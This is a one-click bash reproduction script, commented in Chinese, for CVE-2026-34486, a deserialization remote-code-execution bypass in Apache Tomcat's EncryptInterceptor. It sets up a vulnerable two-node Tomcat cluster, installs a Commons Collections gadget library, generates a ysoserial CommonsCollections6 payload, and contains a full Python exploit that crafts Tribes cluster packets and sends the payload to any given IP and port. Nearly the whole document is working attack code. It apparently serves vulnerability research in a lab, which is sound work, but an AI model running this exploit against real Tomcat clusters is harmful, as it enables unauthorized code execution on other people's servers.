#!/usr/bin/env bash #=============================================================================== # CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞 一键复现脚本 # # 漏洞原理: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) # 被移到 try-catch 块外面,解密失败后原始字节仍被传递给后续处理链, # 最终进入无过滤的 ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。 # # 受影响版本: Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20 # # 本脚本仅用于授权的安全研究环境,严禁用于非法用途。 #=============================================================================== set -e # ==================== 配置区 ==================== TOMCAT_VERSION="9.0.116" TOMCAT_MAJOR="9" WORKDIR="/opt/cve-2026-34486-lab" NODE1_HTTP_PORT=18080 NODE2_HTTP_PORT=28080 NODE1_SHUTDOWN_PORT=18005 NODE2_SHUTDOWN_PORT=18005 NODE1_TRIBES_PORT=4000 NODE2_TRIBES_PORT=4001 ENCRYPTION_KEY_HEX="546869734973415365637265744B6579" # "ThisIsASecretKey" 的十六进制 RCE_MARKER="/tmp/CVE-2026-34486-PWNED" YSOSERIAL_URL="https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar" CC_JAR_URL="https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar" # ==================== 颜色输出 ==================== RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' CYAN='\033[0;36m' NC='\033[0m' info() { echo -e "${CYAN}[*]${NC} $1"; } ok() { echo -e "${GREEN}[+]${NC} $1"; } warn() { echo -e "${YELLOW}[!]${NC} $1"; } fail() { echo -e "${RED}[-]${NC} $1"; exit 1; } # ==================== 1. 检测并安装依赖 ==================== info "步骤 1/8: 检测并安装依赖..." # 检测 root if [ "$EUID" -ne 0 ]; then fail "请使用 root 权限运行此脚本 (sudo ./cve-2026-34486-repro.sh)" fi # 安装基础工具 apt-get update -qq apt-get install -y -qq wget curl python3 python3-pip openjdk-11-jdk >/dev/null 2>&1 # 验证 Java export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which javac)))) java -version 2>&1 | head -1 ok "Java 已就绪: $JAVA_HOME" # 验证 Python3 python3 --version ok "Python3 已就绪" # ==================== 2. 创建工作目录 ==================== info "步骤 2/8: 创建工作目录..." rm -rf "$WORKDIR" mkdir -p "$WORKDIR" cd "$WORKDIR" # ==================== 3. 下载 Tomcat 漏洞版本 ==================== info "步骤 3/8: 下载 Apache Tomcat ${TOMCAT_VERSION} (漏洞版本)..." TOMCAT_URL="https://archive.apache.org/dist/tomcat/tomcat-${TOMCAT_MAJOR}/v${TOMCAT_VERSION}/bin/apache-tomcat-${TOMCAT_VERSION}.tar.gz" wget -q "$TOMCAT_URL" -O tomcat.tar.gz || fail "下载 Tomcat 失败,请检查网络连接" ok "Tomcat ${TOMCAT_VERSION} 下载完成" tar -xzf tomcat.tar.gz cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node1 cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node2 ok "Tomcat 解压完成 (两个节点)" # ==================== 4. 安装 Gadget 库 ==================== info "步骤 4/8: 下载 Commons Collections 3.1..." wget -q "$CC_JAR_URL" -O commons-collections-3.1.jar || fail "下载 Commons Collections 失败" cp commons-collections-3.1.jar tomcat-node1/lib/ cp commons-collections-3.1.jar tomcat-node2/lib/ ok "Commons Collections 3.1 已安装到两个节点" # ==================== 5. 下载 ysoserial ==================== info "步骤 5/8: 下载 ysoserial..." wget -q "$YSOSERIAL_URL" -O ysoserial.jar || fail "下载 ysoserial 失败" ok "ysoserial 下载完成" # ==================== 6. 配置 Tomcat 集群 ==================== info "步骤 6/8: 配置 Tomcat 集群 + EncryptInterceptor..." # --- Node1 server.xml --- cat > /tmp/node1-server.xml.patch.py << 'PYEOF' import re, sys with open(sys.argv[1], 'r') as f: xml = f.read() # 修改 HTTP 端口 xml = xml.replace('port="8080"', f'port="{sys.argv[2]}"', 1) # 修改 shutdown 端口 xml = xml.replace('port="8005"', f'port="{sys.argv[3]}"', 1) # 在 标签后插入集群配置 cluster_xml = ''' ''' # 替换被注释的 Cluster 占位符 xml = re.sub( r'', cluster_xml, xml, flags=re.DOTALL ) with open(sys.argv[1], 'w') as f: f.write(xml) PYEOF python3 /tmp/node1-server.xml.patch.py \ "$WORKDIR/tomcat-node1/conf/server.xml" \ "$NODE1_HTTP_PORT" "$NODE1_SHUTDOWN_PORT" \ "$ENCRYPTION_KEY_HEX" "$NODE1_TRIBES_PORT" python3 /tmp/node1-server.xml.patch.py \ "$WORKDIR/tomcat-node2/conf/server.xml" \ "$NODE2_HTTP_PORT" "$NODE2_SHUTDOWN_PORT" \ "$ENCRYPTION_KEY_HEX" "$NODE2_TRIBES_PORT" ok "server.xml 配置完成 (Node1: 端口${NODE1_TRIBES_PORT}, Node2: 端口${NODE2_TRIBES_PORT})" # 创建 web.xml (启用 Session 复制) for node in tomcat-node1 tomcat-node2; do mkdir -p "$node/webapps/ROOT/WEB-INF" cat > "$node/webapps/ROOT/WEB-INF/web.xml" << 'XMLEOF' XMLEOF done ok "web.xml 配置完成 (distributable)" # ==================== 7. 启动集群并攻击 ==================== info "步骤 7/8: 启动 Tomcat 集群..." chmod +x tomcat-node1/bin/catalina.sh tomcat-node2/bin/catalina.sh export JAVA_HOME cd "$WORKDIR/tomcat-node1" && bin/catalina.sh start cd "$WORKDIR/tomcat-node2" && bin/catalina.sh start cd "$WORKDIR" info "等待集群启动 (15秒)..." sleep 15 # 检查端口 if ! ss -tlnp | grep -q ":${NODE1_TRIBES_PORT} "; then fail "Node1 Tribes 端口 ${NODE1_TRIBES_PORT} 未监听,集群启动可能失败" fi ok "集群已启动,Tribes 端口 ${NODE1_TRIBES_PORT} 已监听" # 获取本机 IP LOCAL_IP=$(hostname -I | awk '{print $1}') info "本机 IP: ${LOCAL_IP}" # 生成 payload info "生成反序列化 Payload (CommonsCollections6)..." # 检测 Java 主版本,决定是否需要 --add-opens JAVA_MAJOR=$($JAVA_HOME/bin/java -version 2>&1 | head -1 | grep -oP '"\K\d+' | head -1) ADD_OPENS="" if [ "$JAVA_MAJOR" -ge 16 ]; then ADD_OPENS="--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED" fi $JAVA_HOME/bin/java $ADD_OPENS -jar "$WORKDIR/ysoserial.jar" \ CommonsCollections6 "touch ${RCE_MARKER}" \ > "$WORKDIR/payload_touch.bin" 2>/dev/null if [ ! -s "$WORKDIR/payload_touch.bin" ]; then fail "Payload 生成失败" fi ok "Payload 生成成功 ($(wc -c < "$WORKDIR/payload_touch.bin") bytes)" # 编写 Python PoC cat > "$WORKDIR/exploit.py" << 'PYEXPLOIT' #!/usr/bin/env python3 """CVE-2026-34486 PoC - EncryptInterceptor Bypass""" import socket, struct, sys, os, time START_DATA = b"FLT2002" END_DATA = b"TLF003" TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00" TRIBES_MBR_END = b"TRIBES-E\x01\x00" def build_member_data(host_bytes, port): inner = b"" inner += struct.pack(">q", 0) inner += struct.pack(">i", port) inner += struct.pack(">i", 0) inner += struct.pack(">i", 0) inner += struct.pack(">b", len(host_bytes)) inner += host_bytes inner += struct.pack(">i", 0) inner += struct.pack(">i", 0) inner += os.urandom(16) inner += struct.pack(">i", 0) return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END def build_channel_data(message_body, host_bytes, port): unique_id = os.urandom(16) member_data = build_member_data(host_bytes, port) cd = b"" cd += struct.pack(">i", 0) cd += struct.pack(">q", int(time.time() * 1000)) cd += struct.pack(">i", len(unique_id)) cd += unique_id cd += struct.pack(">i", len(member_data)) cd += member_data cd += struct.pack(">i", len(message_body)) cd += message_body return cd def send_exploit(target_ip, target_port, payload_file, receiver_port): with open(payload_file, 'rb') as f: raw_payload = f.read() host_bytes = socket.inet_aton(target_ip) channel_data = build_channel_data(raw_payload, host_bytes, receiver_port) packet = START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.sendall(packet) try: sock.recv(4096) except socket.timeout: pass sock.close() if __name__ == '__main__': send_exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], int(sys.argv[4])) PYEXPLOIT chmod +x "$WORKDIR/exploit.py" # 发送攻击 info "发送攻击 Payload 到 ${LOCAL_IP}:${NODE1_TRIBES_PORT}..." python3 "$WORKDIR/exploit.py" "$LOCAL_IP" "$NODE1_TRIBES_PORT" "$WORKDIR/payload_touch.bin" "$NODE1_TRIBES_PORT" info "等待攻击生效 (5秒)..." sleep 5 # ==================== 8. 验证结果 ==================== info "步骤 8/8: 验证漏洞触发..." echo "" echo "======================================================================" echo -e "${RED} CVE-2026-34486 复现结果${NC}" echo "======================================================================" echo "" # 检查 RCE 标志文件 if [ -f "$RCE_MARKER" ]; then echo -e " ${GREEN}✅ RCE 成功!${NC} 标志文件已创建:" echo "" ls -la "$RCE_MARKER" echo "" else echo -e " ${RED}❌ RCE 未触发${NC},标志文件 ${RCE_MARKER} 不存在" echo "" fi # 检查受害者日志 echo " 受害者日志 (解密失败记录):" echo " ----------------------------------------------------------------------" grep -A3 "Failed to decrypt" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -8 || echo " (未找到解密失败日志)" echo "" echo " 受害者日志 (EncryptInterceptor 启动确认):" echo " ----------------------------------------------------------------------" grep "EncryptInterceptor" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -3 || echo " (未找到 EncryptInterceptor 日志)" echo "" echo " 受害者日志 (集群成员发现):" echo " ----------------------------------------------------------------------" grep "memberAdded" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -2 || echo " (未找到集群成员日志)" echo "" # 检查是否有反序列化异常(不应该有) if grep -q "InvalidClassException\|ClassNotFoundException\|serialization" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null; then echo -e " ${YELLOW}[!] 检测到反序列化异常日志(可能 gadget chain 不兼容)${NC}" else echo -e " ${GREEN}✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高)${NC}" fi echo "" echo "======================================================================" echo "" echo " 环境信息:" echo " - 工作目录: ${WORKDIR}" echo " - Node1: HTTP ${NODE1_HTTP_PORT}, Tribes TCP ${NODE1_TRIBES_PORT}" echo " - Node2: HTTP ${NODE2_HTTP_PORT}, Tribes TCP ${NODE2_TRIBES_PORT}" echo " - Tomcat 版本: ${TOMCAT_VERSION} (漏洞版本)" echo " - RCE 标志: ${RCE_MARKER}" echo "" echo " 清理命令:" echo " cd ${WORKDIR}/tomcat-node1 && bin/shutdown.sh" echo " cd ${WORKDIR}/tomcat-node2 && bin/shutdown.sh" echo " rm -f ${RCE_MARKER}" echo " rm -rf ${WORKDIR}" echo "" echo "======================================================================"